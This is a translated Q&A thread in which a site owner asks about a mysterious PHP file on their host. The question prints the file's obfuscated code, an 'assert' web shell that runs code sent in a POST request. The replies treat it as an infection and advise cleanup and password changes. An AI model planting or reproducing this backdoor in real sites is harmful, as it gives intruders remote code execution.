【问题标题】:mysterious php file has appeared, can you help me figure out what it is [closed]神秘的php文件出现了,你能帮我弄清楚它是什么[关闭]
【发布时间】:2016-10-11 23:57:08
【问题描述】:

我正在将一个文件上传到我的虚拟主机,并注意到出现了一个名为thankyou.php 的文件。我不记得以前见过这个文件或这个代码。令人震惊的是,该文件以及我的网站图标在我进行更改四个小时后的最后一次修改时间。 你能告诉我下面的代码是否意味着什么吗?注意每行最后一个字符后的空格。好久没涉足php了,也只是涉猎而已。

<?php                  
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                  
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                  
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}                  
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

【问题讨论】:

标签: php security hosting


【解决方案1】:

这只能是您的文件受到感染。这甚至可能不是唯一的。您可以做的最好的事情是检查所有文件是否存在此类感染。

如果您这样做了,请更改所有密码,例如 FTP 和数据库。

无论您做什么,在检查文件之前都不要更改密码。他们可能已经做了一些事情来更改您的密码(主要是 PHP)。

【讨论】:

  • 我真的不知道这东西可能藏在哪里。在文件出现前几个小时,它是一个准系统“正在建设中的页面”。我有一个 favicon,index.php(26 行)和 styles.css(51 行)。也没有任何文件改变大小。我刚刚对所有文件进行了病毒总扫描,它们很清楚,并且 123-reg 不允许访问除 public_html 之外的任何内容。有任何想法吗?或者我应该只是更改密码并完成。
  • @l0k 你检查你的访问日志了吗?
  • @bassxzero 似乎 123-reg 不提供对显示服务器上文件更改等日志的访问权限,它们只是显示访问者/爬虫何时请求该站点的日志。并且没有任何可疑之处
  • @l0k ssh、ftp、sudo 日志?任何东西
  • @bassxzero 也不可用。 123-reg绝对是垃圾。如果我仍在尝试运行一个网站,我会更换提供商,这只是最近的原因
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2020-03-12
  • 1970-01-01
  • 1970-01-01
  • 2020-08-19
相关资源
最近更新 更多